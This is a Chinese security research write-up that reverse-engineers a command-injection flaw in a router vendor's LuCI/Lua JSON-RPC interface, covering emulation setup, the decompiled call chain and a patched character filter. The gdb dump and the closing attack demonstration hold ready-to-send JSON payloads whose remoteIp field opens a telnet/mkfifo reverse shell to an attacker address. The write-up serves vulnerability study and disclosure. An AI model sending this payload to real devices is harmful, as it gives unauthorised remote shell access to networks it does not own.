一
前言
CVE-2023-34644
文章中的部分内容有相似之处,因为对前期的lua
文件分析基本一致。为了保证读任何一篇单独的文章都较为通顺和连贯,因此就保留了两篇文章中相似的部分。二
仿真环境搭建
qemu
的启动脚本如下:#!/bin/bash
sudo qemu-system-mipsel \
-cpu 74Kf \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic
vmlinux-3.2.0-4-4kc-malta
debian_squeeze_mipsel_standard.qcow2
文件从https://people.debian.org/~aurel32/qemu/mipsel/进行下载。qemu
启动脚本之前,执行下面的脚本,创建一个网桥。#!/bin/sh
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo brctl stp br0 off
sudo brctl setfd br0 1
sudo brctl sethello br0 1
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
sudo brctl show br0
sudo brctl showstp br0
sudo tunctl -t tap0 -u root
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo brctl showstp br0
三
漏洞分析
usr/lib/lua/luci/modules/cmd.lua
文件中有如下代码,容易让初学者搞混,所以在此简单说明一下:local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
for i = 1, #opt do
......
devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
......
end
opt
里面装了字符串add
del
upload
等字符串,然后又定义了四张空表acConfig
devConfig
devSta
devCap
,接下来是一个for
循环来遍历opt
表。devSta[opt[i]] = function(params)
这行代码为例,假设现在opt[i]
是元素add
,function(params)
这里是声明了一个匿名函数,因为函数也是一个变量,这个变量被直接存储到了devSta
表中,以键值的形式存在,键就是字符串add
而值就是这个函数,之后调用这个函数的话可以直接写devSta["add"]()
function hello()
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
devSta["add"] = hello --假设此时遍历到了opt表中的add元素
doParams
fetch
函数(实际上通过上面的分析也知道,这里只是定义了这些函数,并没有进行调用)/api/cmd
的这条链,在/usr/lib/lua/luci/controller/eweb/api.lua
文件中存在entry({"api", "cmd"}, call("rpc_cmd"), nil)
这行代码,意味着授权后访问/api/cmd
路径时,可以调用rpc_cmd
函数。function rpc_cmd()
local jsonrpc = require "luci.utils.jsonrpc"
local http = require "luci.http"
local ltn12 = require "luci.ltn12"
local _tbl = require "luci.modules.cmd"
http.prepare_content("application/json")
ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end
rpc_cmd
函数得知_tbl
已经包含了cmd.lua
中所有变量的定义(上文已经分析过了),主要是ac_config
dev_config
dev_sta
这三个表包含了add
del
update
get
set
clear
doc
这些操作,而devCap
表只有get
。local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}for i = 1, #opt do
acConfig[opt[i]] = function(params)
local model = require "ac_config"
params.method = opt[i]
params.cfg_cmd = "ac_config"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
enddevConfig[opt[i]] = function(params)
local model = require "dev_config"
params.method = opt[i]
params.cfg_cmd = "dev_config"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
enddevSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
if opt[i] == "get" then
devCap[opt[i]] = function(params)
local model = require "dev_cap"
params.method = opt[i]
params.cfg_cmd = "dev_cap"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
end
end
if opt[i] == "doc" then
syshell = function(params)
local tool = require "luci.utils.tool"
return tool.doc(params)
end
end
end
rpc_cmd
函数中的这行代码ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
jsonrpc.handle
函数的参数是_tbl
,看下luci.utils.jsonrpc
文件中的handle
函数,发现又将参数tbl
传给了resolve
,同时传入的还有报文中的method
字段。function handle(tbl, rawsource, ...)
......
if stat then
if type(json.method) == "string" then
local method = resolve(tbl, json.method)
if method then
response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))
......
end
resolve
函数主要是将mod
表中存放键值对中的函数提取出来,假设method
为devCap.get
,那么下面的代码最后可以将匿名函数devCap["get"]
赋值给mod
并返回:function resolve(mod, method)
local path = luci.util.split(method, ".")
for j = 1, #path - 1 do
if not type(mod) == "table" then
break
end
mod = rawget(mod, path[j])
if not mod then
break
end
end
mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
if type(mod) == "function" then
return mod
end
end
proxy(method, json.params or {})
发现,将刚刚解析的返回值method
被proxy
函数当做参数,这里的method
又传入了luci.util
文件中的copcall
函数。function proxy(method, ...)
local tool = require "luci.utils.tool"
local res = {luci.util.copcall(method, ...)}
......
end
copcall
函数主要是对coxpcall
的一个封装:function copcall(f, ...)
return coxpcall(f, copcall_id, ...)
end
coxpcall
函数内部发现调用了f:
function coxpcall(f, err, ...)
local res, co = oldpcall(coroutine.create, f)
......
end
oldpcall(coroutine.create, f)
这行代码的目的是在一个新的协程中运行函数f
。至此开始执行上面提到的匿名函数,重新回顾一下它的代码,该函数调用了doParams
对json
数据进行解析,随后调用了fetch
函数。devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
fetch
函数在cmd.lua
文件中已经定义了,这里调用了fn
也就是fetch
函数传入进来的第一个参数:local function fetch(fn, shell, params, ...)
require "luci.json"
local tool = require "luci.utils.tool"
local _start = os.time()
local _res = fn(...)
......
end
fetch
函数的第一个参数为model.fetch
,model
是require "dev_cap.lua"
后的结果,所以在cmd.lua
的fetch
函数内部调用了dev_sta.lua
文件中定义的fetch
函数,该函数定义如下,能够看到最后是调用了/usr/lib/lua/libuflua.so
文件中的client_call
函数。function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
local uf_call = require "libuflua"
......
local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
return stat
end
IDA
打开/usr/lib/lua/libuflua.so
文件,发现并没有看到有定义的client_call
函数,不过发现了uf_client_call
函数,猜测可能是程序内部进行了关联。shift+f12
搜索字符串发现并没有看到client_call
(如下图)。IDA
没有把client_call
解析成字符串,而是解析成了代码。我这里用010Editor
打开该文件进行搜索字符串client_call
,成功搜索到后发现其地址位于0xff0
处。IDA
确实是将0xff0
位置的数据当做了代码来解析,选中这部分数据,按a
,就能以字符串的形式呈现了。client_call
进行交叉引用,发现最终调用位置如下,luaL_register
是Lua
中注册C
语言编写的函数,它作用是将C
函数添加到一个Lua
模块中,使得这些C
函数能够从Lua
代码中被调用。void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l);
lua_State *L
:Lua
状态指针,代表了一个Lua
解释器实例。const char *libname
:模块的名称,这个名称会在Lua
中作为一个全局变量存在,存放模块的函数。const luaL_Reg *l
:一个结构体数组,包含要注册到模块中的函数的信息。每个结构体包含函数的名称和相应的C
函数指针0x1101C
的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出client_call
实际就定义在了sub_A00
中。sub_A00
函数定义如下,可以看到最后是调用了uf_client_call
函数,而在这之前的很多赋值操作如*(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
,很容易能猜测到其实是在解析Lua
传入的各个参数字段。Lua
的代码中uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)
这里传入了多个参数,但是sub_A00
函数就一个参数a1
,结合的操作分析出这里是在解析参数。int __fastcall sub_A00(int a1)
{
v13[0] = 0;
v2 = malloc(52);
v3 = v2;
if ( v2 )
{
memset(v2, 0, 52);
v5 = 4;
*(_DWORD *)v3 = luaL_checkinteger(a1, 1);
*(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0);
v6 = luaL_checklstring(a1, 3, 0);
v7 = *(_DWORD *)v3;
*(_DWORD *)(v3 + 8) = v6;
if ( v7 != 3 )
{
*(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
*(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1;
v5 = 6;
*(_BYTE *)(v3 + 40) = 1;
}
*(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0);
*(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0);
v8 = v5 + 2;
if ( *(_DWORD *)v3 )
{
if ( *(_DWORD *)v3 == 2 )
{
v8 = v5 + 3;
*(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
}
}
else
{
*(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
v8 = v5 + 4;
*(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1;
}
*(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1;
v4 = uf_client_call(v3, v13, 0);
}
......
uf_client_call
函数是一个引用外部库的函数,用grep
在整个文件系统搜索字符串uf_client_call
,结合/usr/lib/lua/libuflua.so
文件中引用的外部库进行分析,最终判断出uf_client_call
函数定义在/usr/lib/libunifyframe.so。
uf_client_call
函数首先判断了method
的类型,然后解析出报文中各字段的值,并将其键值对添加到一个JSON
对象中,接着将最终处理好的JSON
对象转换为JSON
格式的字符串,通过uf_socket_msg_write
用socket
套接字进行数据传输。int __fastcall uf_client_call(_DWORD *a1, int a2, int *a3)
{
......
v5 = json_object_new_object();
......
switch ( *a1 )
{
case 0:
v15 = ((int (*)(void))strlen)() + 10;
......
v13 = "acConfig.%s";
goto LABEL_22;
case 1:
v14 = ((int (*)(void))strlen)() + 11;
......
v13 = "devConfig.%s";
goto LABEL_22;
case 2:
v8 = ((int (*)(void))strlen)() + 8;
......
v13 = "devSta.%s";
goto LABEL_22;
case 3:
v16 = ((int (*)(void))strlen)() + 8;
......
v13 = "devCap.%s";
goto LABEL_22;
case 4:
v17 = ((int (*)(void))strlen)() + 7;
......
LABEL_22:
json_object_object_add(v5, "method", v19);
v20 = json_object_new_object();
......
v21 = json_object_new_string(a1[2]);
json_object_object_add(v20, "module", v21);
v22 = a1[5];
if ( !v22 )
goto LABEL_35;
json_object_object_add(v20, "remoteIp", v23);
LABEL_35:
v25 = a1[6];
if ( v25 )
{
v26 = json_object_new_string(v25);
......
json_object_object_add(v20, "remotePwd", v26);
}
if ( a1[9] )
{
......
json_object_object_add(v20, "buf", v27);
}
if ( *a1 )
{
if ( *a1 != 2 )
{
v28 = *((unsigned __int8 *)a1 + 45);
goto LABEL_58;
}
if ( *((_BYTE *)a1 + 42) )
{
v30 = json_object_new_boolean(1);
if ( v30 )
{
v31 = v20;
v32 = "execute";
goto LABEL_56;
}
}
}
else
{
if ( *((_BYTE *)a1 + 43) )
{
v29 = json_object_new_boolean(1);
if ( v29 )
json_object_object_add(v20, "force", v29);
}
if ( *((_BYTE *)a1 + 44) )
{
v30 = json_object_new_boolean(1);
if ( v30 )
{
v31 = v20;
v32 = "configId_not_change";
LABEL_56:
json_object_object_add(v31, v32, v30);
goto LABEL_57;
}
}
}
LABEL_57:
v28 = *((unsigned __int8 *)a1 + 45);
LABEL_58:
if ( v28 )
{
v33 = json_object_new_boolean(1);
if ( v33 )
json_object_object_add(v20, "from_url", v33);
}
if ( *((_BYTE *)a1 + 47) )
{
v34 = json_object_new_boolean(1);
if ( v34 )
json_object_object_add(v20, "from_file", v34);
}
if ( *((_BYTE *)a1 + 48) )
{
v35 = json_object_new_boolean(1);
if ( v35 )
json_object_object_add(v20, "multi", v35);
}
if ( *((_BYTE *)a1 + 46) )
{
v36 = json_object_new_boolean(1);
if ( v36 )
json_object_object_add(v20, "not_commit", v36);
}
if ( *((_BYTE *)a1 + 40) )
{
v37 = json_object_new_boolean(*((unsigned __int8 *)a1 + 41) ^ 1);
if ( v37 )
json_object_object_add(v20, "async", v37);
}
v38 = (_BYTE *)a1[3];
if ( !v38 || !*v38 )
goto LABEL_78;
v39 = json_object_new_string(v38);
json_object_object_add(v20, "data", v39);
LABEL_78:
v41 = (_BYTE *)a1[4];
if ( v41 && *v41 )
{
v42 = json_object_new_string(v41);
if ( !v42 )
{
json_object_put(v20);
json_object_put(v5);
v40 = 630;
goto LABEL_82;
}
json_object_object_add(v20, "device", v42);
}
json_object_object_add(v5, "params", v20);
v43 = json_object_to_json_string(v5);
......
v44 = uf_socket_client_init(0);
......
v50 = strlen(v43);
uf_socket_msg_write(v44, v43, v50);
......
uf_socket_msg_write
进行数据发送,那么肯定就在一个地方有用uf_socket_msg_read
函数进行数据的接收,用grep
进行字符串搜索,发现/usr/sbin/unifyframe-sgi.elf
文件,并且该文件还位于/etc/init.d
目录下,这意味着该进程最初就会启动并一直存在,所以判断出这个unifyframe-sgi.elf
文件就是用来接收libunifyframe.so
文件所发送过来的数据。219
之前该调用链可以通杀该厂商大部分设备。下面介绍的这条调用链所出示的代码均来自某型号的204
版本。/usr/lib/lua/luci/controller/eweb/api.lua
文件中,配置了路由entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false
/api/auth
路径时,将调用rpc_auth
。在luci
框架中sysauth
属性控制是否需要进行系统级的用户认证才能访问该路由,这里的sysauth
属性为false
,表示无需进行系统认证即可访问。rpc_auth
函数首先引入了一些模块,然后获取HTTP_CONTENT_LENGTH
的长度是否大于1000
字节,如果不大于的话会将准备HTTP
响应的类型设置为application/json
,下面的handle
函数第一个参数_tbl
传入的是luci.modules.noauth
文件返回的内容。function rpc_auth()
local jsonrpc = require "luci.utils.jsonrpc"
local http = require "luci.http"
local ltn12 = require "luci.ltn12"
local _tbl = require "luci.modules.noauth"
if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
http.prepare_content("text/plain")
return "too long data"
end
http.prepare_content("application/json")
ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end
handle
函数内部后的流程与分析最新版的步骤一样,就不再赘述,最后的结果就是能在这里触发noauth
文件中的merge
函数(前提是报文中要设置method
字段的值为merge
)noauth
的文件中定义了merge
函数:function merge(params)
local cmd = require "luci.modules.cmd"
return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end
merge
函数又调用了/usr/lib/lua/luci/modules/cmd.lua
文件中的devSta.set
函数,之后的过程又和上文中分析最新版的步骤一样,也不再重复记录。devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
219
版本,在noauth.lua
文件中的merge
函数,加入了对params
中危险字符的过滤,调用了includeXxs
和includeQuote
函数,对换行符、回车符、反引号、&
、$
、;
、|
等符号都做了过滤,这就意味着后续无法再进行命令注入了。而219
版本只在这里进行了危险字符的过滤,只要从其他地方调用到诸如dev_cap
dev_sta
表中的函数依然可以进行命令注入。function merge(params)
local cmd = require "luci.modules.cmd"
local tool = require("luci.utils.tool")
local _strParams = luci.json.encode(params)if tool.includeXxs(_strParams) or tool.includeQuote(_strParams) then
tool.eweblog(_strParams, "MERGE FAILED INVALID DATA")
return 'INVALID DATA'
endreturn cmd.devSta.set({
device = "pc",
module = "networkId_merge",
data = params,
async = true
})
endfunction includeXxs(str)
local ngstr = "[\n\r`&$;|]"
return string.match(str, ngstr) ~= nil
endfunction includeQuote(str)
return string.match(str, "(['])") ~= nil
end
/usr/sbin/unifyframe-sgi.elf
文件,整体流程是在main
函数调用了三个关键函数uf_socket_msg_read
parse_content
add_pkg_cmd2_task
,他们的作用分别为接收数据、解析数据、执行命令。uf_socket_msg_read
函数将json
数据读入到内存中,地址为v31+1。
//uf_socket_msg_read v31 = (_DWORD *)malloc_pkg();
......
pthread_mutex_lock(v29 + 5);
*v31 = v29;
v52 = uf_socket_msg_read(*v29, v31 + 1);
pthread_mutex_unlock(v29 + 5);
gdb
来查看读入的数据这里只为说明gdb
可以查看内存中读入的数据,文章前后发送的报文并不一样。pwndbg> x/4s 0x623850
0x623850: "{ \"method\": \"devConfig.get\", \"params\": { \"module\": \"123\", \"remoteIp\": \"$(mkfifo \\/tmp\\/test;telnet 192.168.45.203 6666 0<\\/tmp\\/test|\\/bin\\/sh > \\/tmp\\/test)\", \"remotePwd\": \"\", \"async\": true, \"data\": "...
0x623918: "\"{\\\"kkk\\\":\\\"abc\\\"}\" } }"
json
数据的各字段进行解析在parse_content
函数中完成,该函数首先判断了params
和method
字段是否存在,然后在method
字段不为cmdArr
的情况下,调用parse_obj2_cmd
函数进一步对字段进行解析。
v3 = json_tokener_parse();
v4 = v3;
......
v6 = json_object_object_get_ex(v3, "params", &v18);
v7 = v4;
if ( v6 != 1 )
{
LABEL_27:
json_object_put(v7);
return -1;
}
if ( json_object_object_get_ex(v4, "method", v19) != 1 )
{
LABEL_26:
v7 = v4;
goto LABEL_27;
}
v8 = json_object_get_string(v19[0]);
if ( !v8 )
{
......
}
if ( strstr(v8, "cmdArr") )
{
......
}
else
{
......
v16 = parse_obj2_cmd(v4);
*v15 = v16;
if ( !v16 )
{
......
}
pkg_add_cmd(a1, v15);
v15[2] = 0;
}
parse_obj2_cmd
函数中具体的解析了各个字段及类型并把它们记录到一个堆块中,最终返回该堆块地址,便于之后的访问。想知道POC
的编写格式就要对此处进行逆向分析,具体分析结果已写在注释中。
v2 = malloc(0x34);
v3 = v2;
......
if ( json_object_object_get_ex(a1, "params", &v38) != 1 )
{
......
}
if ( json_object_object_get_ex(a1, "method", &v37) != 1 )
{
......
}
v4 = json_object_get_string(v37);
v5 = v4;
......
if ( strstr(v4, "devSta") )
{
v6 = 2;
}
else
{
if ( strstr(v5, "acConfig") )
{
*(_DWORD *)v3 = 0;
goto LABEL_21;
}
if ( strstr(v5, "devConfig") )
{
*(_DWORD *)v3 = 1;
goto LABEL_21;
}
if ( strstr(v5, "devCap") )
{
v6 = 3;
}
else
{
if ( !strstr(v5, "ufSys") )
{
uf_log_printf(uf_log, (const char *)dword_4219EC, "sgi.c", "parse_obj2_cmd", 274);
goto LABEL_109;
}
v6 = 4;
}
}
*(_DWORD *)v3 = v6;
LABEL_21:
v7 = strchr(v5, 46);
v8 = strdup(v7 + 1);
*(_DWORD *)(v3 + 4) = v8;
if ( json_object_object_get_ex(v38, "module", &v37) != 1 )
{
......
}
v10 = json_object_get_string(v37);
if ( !v10 )
{
uf_log_printf(uf_client_log, "(%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd", 294);
goto LABEL_109;
}
v11 = strdup(v10);
*(_DWORD *)(v3 + 8) = v11;
if ( json_object_object_get_ex(v38, "remoteIp", &v37) == 1 && (unsigned int)(json_object_get_type(v37) - 5) < 2 )
{
v12 = json_object_get_string(v37);
if ( v12 )
{
v13 = strdup(v12);
*(_DWORD *)(v3 + 20) = v13;
......
}
}
else
{
*(_DWORD *)(v3 + 20) = 0;
}
if ( json_object_object_get_ex(v38, "remotePwd", &v37) == 1 && json_object_get_type(v37) == 5 )
{
v14 = json_object_get_string(v37);
if ( v14 )
{
v15 = strdup(v14);
*(_DWORD *)(v3 + 24) = v15;
......
}
}
v16 = *(_DWORD *)v3 != 2;
*(_BYTE *)(v3 + 40) = 0;
*(_BYTE *)(v3 + 41) = v16;
if ( json_object_object_get_ex(v38, "async", &v37) == 1 )
{
v17 = (_BYTE *)sub_404BAC(v37);
v18 = v17;
if ( v17 )
{
if ( *v17 == 48 || !strcmp(v17, "false") )
{
*(_BYTE *)(v3 + 40) = 1;
*(_BYTE *)(v3 + 41) = 1;
}
if ( *v18 == 49 || !strcmp(v18, "true") )
*(_WORD *)(v3 + 40) = 1;
free(v18);
}
}
if ( json_object_object_get_ex(v38, "force", &v37) == 1 )
{
v19 = (_BYTE *)sub_404BAC(v37);
v20 = v19;
if ( v19 )
{
if ( *v19 == 49 || !strcmp(v19, "true") )
*(_BYTE *)(v3 + 43) = 1;
free(v20);
}
}
if ( json_object_object_get_ex(v38, "configId_not_change", &v37) == 1 )
{
v21 = (_BYTE *)sub_404BAC(v37);
v22 = v21;
if ( v21 )
{
if ( *v21 == 49 || !strcmp(v21, "true") )
*(_BYTE *)(v3 + 44) = 1;
free(v22);
}
}
if ( json_object_object_get_ex(v38, "from_url", &v37) == 1 )
{
v23 = (_BYTE *)sub_404BAC(v37);
v24 = v23;
if ( v23 )
{
if ( *v23 == 49 || !strcmp(v23, "true") )
*(_BYTE *)(v3 + 45) = 1;
free(v24);
}
}
if ( json_object_object_get_ex(v38, "from_file", &v37) == 1 )
{
v25 = (_BYTE *)sub_404BAC(v37);
v26 = v25;
if ( v25 )
{
if ( *v25 == 49 || !strcmp(v25, "true") )
*(_BYTE *)(v3 + 47) = 1;
free(v26);
}
}
if ( json_object_object_get_ex(v38, "multi", &v37) == 1 )
{
v27 = (_BYTE *)sub_404BAC(v37);
v28 = v27;
if ( v27 )
{
if ( *v27 == 49 || !strcmp(v27, "true") )
*(_BYTE *)(v3 + 48) = 1;
free(v28);
}
}
if ( json_object_object_get_ex(v38, "not_commit", &v37) == 1 )
{
v29 = (_BYTE *)sub_404BAC(v37);
v30 = v29;
if ( v29 )
{
if ( *v29 == 49 || !strcmp(v29, "true") )
*(_BYTE *)(v3 + 46) = 1;
free(v30);
}
}
if ( json_object_object_get_ex(v38, "execute", &v37) == 1 )
{
v31 = (_BYTE *)sub_404BAC(v37);
v32 = v31;
if ( v31 )
{
if ( *v31 == 49 || !strcmp(v31, "true") )
*(_BYTE *)(v3 + 42) = 1;
free(v32);
}
}
v33 = v3;
if ( json_object_object_get_ex(v38, "data", &v37) == 1 && (unsigned int)(json_object_get_type(v37) - 4) < 3 )
{
v34 = json_object_get_string(v37);
if ( v34 )
{
v35 = strdup(v34);
*(_DWORD *)(v3 + 12) = v35;
if ( !v35 )
{
v9 = 470;
goto LABEL_108;
}
}
}
return v33;
xxx
代表有些保留字段,或者是一些标志位,它们在后续利用过程中并不重要,暂不详细记录。GDB
调试到此处看到的各字段信息如下:parse_obj2_cmd
函数结束后,会执行pkg_add_cmd(a1, v15)
,它的核心作用就是在a1
这个数据结构中记录了v15
的指针,使得后续操作通过a1
访问到刚刚解析出来的各个字段。不过这pkg_add_cmd
函数里有一个谜之操作,在这行代码中*(_DWORD *)(a1 + 92) = a2 + 13
是把a2
也就是v15
的值加上了13
存储到了a1
中,而通过后续的分析得知,之后访问这个v15
的堆块是通过*(a1+92)-13
得到的地址。存的时候+13
,访问的时候-13
,这里没太理解但并不影响我们后续的分析。main ==> add_pkg_cmd2_task ==> uf_cmd_call ==> ufm_handle ==> remote_call ==>sub_41A148
json
数据解析完成后,会调用add_pkg_cmd2_task
,该函数通过访问之前解析出的各个字段,判断method
是不是devCap
,如果是的话可以调用后续的漏洞函数(不是devCap
也可以触发漏洞但是调用链走的并不是我分析的这条)。
if ( dword_43897C < 1001 )
{
pthread_mutex_lock(*a1 + 20);
v3 = (_DWORD *)a1[22];
v4 = v3 - 13;
for ( i = *v3 - 52; ; i = *(_DWORD *)(i + 52) - 52 )
{
if ( v4 + 13 == a1 + 22 )
{
pthread_mutex_unlock(*a1 + 20);
return 0;
}
v6 = malloc(20);
v7 = (int **)v6;
......
v10 = (int *)(v6 + 4);
v7[2] = v10;
v7[1] = v10;
*v7 = v4;
v7[4] = (int *)(v7 + 3);
v7[3] = (int *)(v7 + 3);
......
*v7 = v4;
v11 = (_DWORD *)*v4;
v12 = *(_DWORD *)*v4;
if ( v12 == 3 )
break;
if ( v12 == 4 )
{
gettimeofday(v4 + 5, 0);
uf_sys_handle(**v7, v4 + 1);
LABEL_22:
gettimeofday(v4 + 7, 0);
sub_40B404(v7);
goto LABEL_23;
}
if ( v12 == 2 && !strcmp(v11[1], "get") && !v11[9] && uf_cmd_buf_exist_check(v11[2], 2, v11[3], v4 + 1) )
{
......
}
sub_40B0C4(v7);
LABEL_23:
v4 = (int *)i;
}
gettimeofday(v4 + 5, 0);
if ( uf_cmd_call(*v4, v4 + 1) )
v13 = 2;
else
v13 = 1;
v4[12] = v13;
goto LABEL_22;
}
......
return v1;
uf_cmd_call
函数:
v2 = *(const char **)(a1 + 4);
if ( !v2 || (v3 = *(_DWORD *)a1, *(_DWORD *)a1 >= 6u) || (v4 = *(const char **)(a1 + 8)) == 0 )
{
......
}
memset(v103, 0, 108);
if ( v3 == 3 )
{
......
v5 = *(const char **)(a1 + 20);
if ( !v5 || !*v5 )
goto LABEL_250;
v6 = a1;
if ( !is_self_ip(*(_DWORD *)(v6 + 20)) )
{
remote_call((int *)a1, (const char **)a2);
}
......
remote_call
函数:
v9 = (const char *)a1[5];
if ( !strcmp(a1[2], dword_4232A8) && *a1 == 5 )
{
......
}
......
for ( i = *(const char **)((char *)&sid_list_by_ip + v11); ; i = *(const char **)i )
{
if ( i == (char *)&sid_list_by_ip + v11 )
{
pthread_rwlock_unlock(&sid_mutex);
goto LABEL_35;
}
......
LABEL_35:
v14 = sub_41A148((int)a1);
......
return 0;
sub_41A148。
v2 = *(_DWORD *)(a1 + 24);
v19 = 0;
if ( v2 )
{
......
}
else
{
ufm_read_file("/etc/rg_config/admin", &v19);
if ( !v19 )
{
v19 = (const char *)strdup("U2FsdGVkX18POF0/cM8IwywAcZUK8zQngpUv7C2zKng=");
......
}
}
......
snprintf(
v17,
511,
"curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{\"method\":\"login\",\""
"params\":{\"username\":\"admini\",\"password\":\"%s\",\"encry\":\"true\"}}'",
*(const char **)(a1 + 20),
v19);
......
v18 = 0;
if ( ufm_popen(v17, &v18) || !v18 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)curl get sid failed!", "ufm_remote_call.c", "fetch_get_sid", 289);
return 0;
}
......
remotePwd
字段无法注入命令?204
固件中,其实是可以从remotePwd
字段中注入命令并执行的,而且在最新的固件中,也可以看到这里判断了remotePwd
是否存在,如果存在的话也可以进行拼接,最终导致命令执行,相关代码如下。v2 = *(_DWORD *)(a1 + 24);
v19 = 0;
if ( v2 )
{
v19 = (const char *)strdup(v2);
.......
}
......
snprintf(
v17,
511,
"curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{\"method\":\"login\",\""
"params\":{\"username\":\"admini\",\"password\":\"%s\",\"encry\":\"true\"}}'",
*(const char **)(a1 + 20),
v19);
if ( ufm_popen(v17, &v18) || !v18 )
{
......
}
remotePwd
字段注入命令是不成功的。parse_obj2_cmd
函数中对json
数据解析时,对于remotePwd
字段的处理是存在Bug
的,它限制了remotePwd
字段要为array
类型(如下代码所示),但是前端对于array
类型的remotePwd
会报错。remotePwd
字段是string
类型,实际上代码应该是json_object_get_type(v37) == 6
。这就导致设置remotePwd
类型时要么是前端报错,要么是二进制程序中判断这个类型错误,从而阴差阳错的阻止了从这里进行注入。if ( json_object_object_get_ex(v38, "remotePwd", &v37) == 1 && json_object_get_type(v37) == 5 )
204
固件中,它的功能实现都是由lua
语言来完成的,最终命令执行的漏洞点如下(fetch_sid
函数的参数password
就为remotePwd
字段),因此在该固件版本中可以从remotePwd
字段进行注入,而之后的版本因为Bug
的原因无法进行注入。{
"method": "devCap.get",
"params": {
"module": "123",
"remoteIp": "$(mkfifo /tmp/test;telnet 192.168.45.203 6666 0</tmp/test|/bin/sh > /tmp/test)"
}
}
method
和params
不能为空,因为这里有如下检查,如果他们不存在的话会直接返回-1。
v6 = json_object_object_get_ex(v3, "params", &v18);
v7 = v4;
if ( v6 != 1 )
{
LABEL_27:
json_object_put(v7);
return -1;
}
if ( json_object_object_get_ex(v4, "method", v19) != 1 )
{
LABEL_26:
v7 = v4;
goto LABEL_27;
}
module
也必须存在,并且module
字段是params
中的一个值。可以看到这里解析出了params
,给到v38
。module
字段是从v38
也就是params
中解析出来的,如果module
字段不存在的话,会执行return 0:
if ( json_object_object_get_ex(a1, "params", &v38) != 1 )//
{
......
}
......
if ( json_object_object_get_ex(v38, "module", &v37) != 1 )
{
uf_log_printf(uf_log, "ERROR (%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd", 289);
goto LABEL_109;
}LABEL_109:
cmd_msg_free(v3);
return 0;
devCap
,下面if(v3 == 3)
才可以执行到remote_call
函数。if ( v3 == 3 )
{
......
v5 = *(const char **)(a1 + 20);
if ( !v5 || !*v5 )
goto LABEL_250;
v6 = a1;
if ( !is_self_ip(*(_DWORD *)(v6 + 20)) )
{
remote_call((int *)a1, (const char **)a2);
}
get
是因为在Lua
文件中只有opt[i]
为get
的时候才在devCap
表中定义了字符串get
所对应函数:lua
if opt[i] == "get" then
devCap[opt[i]] = function(params)
local model = require "dev_cap"
params.method = opt[i]
params.cfg_cmd = "dev_cap"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
end
end
四
攻击演示
217
。但搭建了219
的仿真环境也是可以攻击成功的。Burp Suite
抓包,拿到auth
的值:/cgi-bin/luci/api/cmd
发送POST
报文。{
"method": "devCap.get",
"params": {
"module": "123",
"remoteIp": "$(mkfifo /tmp/test;telnet 192.168.110.171 6666 0</tmp/test|/bin/sh > /tmp/test)"
}
}
shell
